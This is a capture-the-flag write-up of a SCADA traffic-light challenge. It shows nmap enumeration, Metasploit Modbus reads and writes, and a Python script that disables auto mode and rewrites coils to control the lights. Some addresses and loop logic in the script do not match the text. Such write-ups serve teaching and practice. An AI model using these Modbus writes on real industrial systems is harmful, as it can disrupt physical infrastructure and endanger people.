Greetings everyone!
This writeup is going to be about my best challenge from HackTheBox University Ctf 2021.
This challenge was named LightTheWay from SCADA category. The goal of the challenge was to change the traffic lights to let the vehicle pass through all the stops. Nmap, and Metasploit were used for enumeration, and a python script was created to automate all of the monotonous steps.

We were given an ip and that was it.

As with most challenges, the first step was reconnaissance using nmap.
nmap -sCV -p 0-1000

From the nmap scan, port 22, 80, and 502 were found to be open. I skipped port 22 as it’s almost impossible to break it. Next interesting port was port 80.


Checking port 80 showed a stopped vehicle, and different traffic lights on the top right corner with 6 junctions.


Also, there was a path highlighted in the Human Machine Interface(HMI) from where we had to move the vehicle to get the flag.

HMI is basically a software that provides a user with graphical user interface to monitor or process commands in SCADA networks.

As this was a SCADA related challenge, I started looking further onto port 502 as it’s very poular port in SCADA systems for modbus protocol.
So, it’s time to dig deeper onto the port 502.

Modbus operates as a master-slave architecture, which is basically like a client-server architecture.


In Modbus, master is like a client which sends a request to read or write, and slave is like a server which processes it, and provides output.
Another thing to note about Modbus protocol is that it does not have any sort of authentication at any level of the protocol which makes it very vulnerable.

Then, I fired up metasploit to do more enumeration.
First command was search modbus to find all modbus related modules, which showed 6 matching modules.
auxiliary/scanner/scada/modbusclient module seemed most interesting, so we went with it.


use auxiliary/scanner/scada/modbusclient
show info

After Checking for all options and info,it can be seen that we can read, and write data. RHOST, RPORT, and DATA_ADDRESS are required fields to be set.


It can be set as follow:

set RPORT 502


set NUMBER 0

Also, if we take a look at registers for Modbus, COIL and HOLDING_REGISTERS are very interesting as they can be read and written easily.
Here is how the registers look like in modbus protocol.


If we have ability to read and write data, why not try it? Let’s read what we can extract from there. So, I thought of reading the coils first to see how it looks like. It can be done with following command.

set action READ_COILS


Then, running the exploit reads the value of coils from UNIT_NUMBER 1. We see a bunch of 0’s, but interestingly there are also some 1's in there.


Then, python can be used to find the index of first 1 in the list. The first index was 571.


Also, when I was setting the value UNIT_NUMBER with command set UNIT_NUMBER 2, set UNIT_NUMBER 3 and so on, I was able to read coils only upto UNIT_NUMBER 6that had 1 somewhere in the output. Any UNIT_NUMBER beyond that didn’t include 1.
That was interesting because there were 6 junctions in the path. So, I was able to get index for all 6 junctions using similar approach. The DATA_ADDRESS index of all the six units were 571, 1921, 531,1267, 925, 888 respectively. All of this process is done by using python script later in the writeup.

Now, it’s time to write to the coils so that we can change the lights.

When checking, I was able to see the directions, and their corresponding coil values, but unfortunately the order of representation in the API doesn’t match the actual order of directions.


It took us a while to figure it out, but we found out that the correct pattern to write was:


By looking at the picture, it’s clear that we need to change the west side to green because the car is about to turn towards west for the first junction, and we have to turn the East side to Green for the 2nd and 4th junction, and finally the north side for 6th junction.

But, to change the lights the challenge stated that We need to revert the system to manual. So, let’s first find a way to change to manual mode.
For this purpose, we have to read HOLDING REGISTERS to see what values are in there.
Initially, I ran set action READ_HOLDING_REGISTERS and it showed me error ILLEGAL DATA ADDRESS. So, changing the value for NUMBER solved this issue.
I used command set NUMBER 99 to set the value of NUMBER to 99, then ran it, which gave me decimal encoded numbers.


I used a python script to decode it back to ASCII which evaluated to auto_mode:true.


auto = [97, 117, 116, 111, 95, 109, 111, 100, 101, 58, 116, 114, 117, 101]

print("".join(chr(x) for x in auto))

So, by changing the string true to false, and writing it to the HOLDING_REGISTERS we were able to change the mode to manual.


Again, metasploit mode can be used to write to the REGISTERS with following commands:
set DATA_REGISTERS 97,117,116,111,95,109,111,100,101,58,102,97,108,115,101




Now, we can verify it did indeed set the auto mode:false by reading the register values again.


The register values have been modified. So, now we can write to the coils and change the color of traffic lights.

Recalling that order of the lights is NG NY NR EG EY ER SG SY SR WG WY WR.

Current value for junction 1 is:
[False, False, True, False, False, True, False, False, True, True, False, False]

which can be changed to:
[False, False, True, False, False, True, False, False, True, False, False, True]
which will turn on green light on the west side so that the vehicle can pass Junction 1.

Similar process can be followed for other Junctions too.
The placement of lights was kind of weird, and we had to play around for a while to make it all work.

As this process was little bit tedious with metasploit, pyModbusTCP client can be used to make this process faster.

Also, we had to perform trial and error for a while to change data address base index for each units inorder to write successfully to the coils.

Here is the final script that we wrote to get the flag:

from pyModbusTCP.client import ModbusClient
import requests
import json

data_address = {}

c = ModbusClient(host="", port="502", unit_id=1, auto_open=True)

## Manual off

for i in range(1,7):
    c.write_multiple_registers(10, [102,97,108,115,101])
    print(f"[+] Slave_id {i} set to manual mode" )

for i in range(1,7):
    regs = c.read_coils(0,2000)

    data_address[i] = regs.index(True)
c.write_multiple_coils(571,[False, False, True, False, False, True, False, False, True, True, False, False])

c.write_multiple_coils(1920, [True, False, False, False, False, True,False, False, True, False, False, True])

c.write_multiple_coils(1266, [False, False, True, False, False, True,False, False, True, True, False, False])

c.write_multiple_coils(886,[False, False, True, False, False, True, False, False, True, True, False, False])

print(f"[+] pwn completed, Here's a gift for you!!")


15 And, PWNED
Flag is: HTB{w3_se3_tH3_l1ght}

Thank you for reading.
Let’s Keep learning :)

  • CarpeDiem